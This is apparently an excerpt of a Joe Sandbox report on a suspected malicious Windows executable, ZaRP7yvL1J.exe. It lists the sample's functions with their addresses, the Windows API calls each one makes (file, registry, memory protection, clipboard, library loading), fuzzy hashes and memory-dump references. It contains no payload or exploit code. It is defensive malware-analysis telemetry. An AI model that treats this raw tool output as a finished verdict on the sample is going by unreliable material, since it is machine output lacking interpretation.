Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 93e3322236d135cf3becb144ab33be47f3bb68365a0b30391c7db73d0d040f31
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Function 00405EDE Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\ZaRP7yvL1J.exe,80000000,00000003), ref: 00405EE2
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 0040599C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403498,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004059A2
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 004059B0

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: 01a40f06620425e1c555583f7199589d3835b04f5715874dbca4219b9923c3a9
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: D6C04C71216502DAF7115F31DF09B177A50AB60751F11843AA146E11A4DA349455D92D

Function 6F952AAC Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 6F952B6B

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0c9541c8443b35ca59012a6c84294775a1a7c22ad623acf4f80e031b501ccdb8
Instruction ID: fe1648a777a3cad0a425fde8f45a96f4b5d533f918882ca6c2eed269ad615847
Opcode Fuzzy Hash: 0c9541c8443b35ca59012a6c84294775a1a7c22ad623acf4f80e031b501ccdb8
Instruction Fuzzy Hash: 9B416FB1808704DFEF20DFB8D981B593768EB5637CF204466E5089A2C2D734E8B98F91

Function 0040167B Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401696

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction ID: 73a88bd3a5ced7927151e6ebce11b30d6a6a5b8b2c4e1db0cab765602213b928
Opcode Fuzzy Hash: f4993909eaaf04b4d10f0c262de6f8e1be0fd70d19c578988f2b9bef0751c49c
Instruction Fuzzy Hash: CBF09031A0851197DF10BBA54F4DD5E22509B8236CB28073BB412B21E1DAFDC542A56E

Function 004027EF Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 0040280D

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction ID: 7217e66a6bf97858787bec6454aeb19e768c89e60d383eb7a66a1db5dd3d6cef
Opcode Fuzzy Hash: 38b593970e7e5e8d656344d1d4c72dba1b6d10a1f376cfd8863b7a874be62c28
Instruction Fuzzy Hash: 8BE06D71E00104ABD710DBA5AE098AEB7B8DB84308B60403BF601B10D0CA7959518E2E

Function 00406283 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 004062AC

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: b492cd94208fe9a136032c47e7ca6226b28abdd7f17191690e67bc203102cabe
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 94E0E672010209BEDF195F50DD0AD7B371DEB04304F11492EFA06D4051E6B5AD706634

Function 00405F61 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040345A,0040A230,0040A230,0040335E,00414ED0,00004000,?,00000000,00403208), ref: 00405F75

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Function 00405F90 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040FAC2,0040CED0,004033DE,0040CED0,0040FAC2,00414ED0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 6F952993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6F95505C,00000004,00000040,6F95504C), ref: 6F9529B1

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aefcaf4626e4d228b71b24da9c1b294afa98854bfcbf4e998983499f006df4e2
Instruction ID: 1d01bd9caebc8ed2ceaef3732e4045b70886593d7649695e5bb559720201d8d9
Opcode Fuzzy Hash: aefcaf4626e4d228b71b24da9c1b294afa98854bfcbf4e998983499f006df4e2
Instruction Fuzzy Hash: D6F092B0509B80DEEB90CF3C844471A3BE0B74A338B10452AE24CD6282E334947CCF91

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Function 6F95121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,6F95123B,?,6F9512DF,00000019,6F9511BE,-000000A0), ref: 6F951225

Memory Dump Source

Source File: 00000000.00000002.2401686688.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2401644043.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401702628.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2401785461.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_ZaRP7yvL1J.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: e6a8edd056ceb625bc7f50d56bdf990d41b1c5eac78b680d9db4ad7f60fea9d6
Instruction ID: ceed23450f7577abedeac71269d166721db99ad145d5138cb3b242e3cefaaa33
Opcode Fuzzy Hash: e6a8edd056ceb625bc7f50d56bdf990d41b1c5eac78b680d9db4ad7f60fea9d6
Instruction Fuzzy Hash: 2BB01270A0C400DFFF408B7CCC06F343264F701335F044000F604C0181C12048388D34

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2362935906.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362987698.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363002050.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363068605.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
Call, xrefs: 004049B1, 004049B6, 004049C1
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000000.00000002.2362970731.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

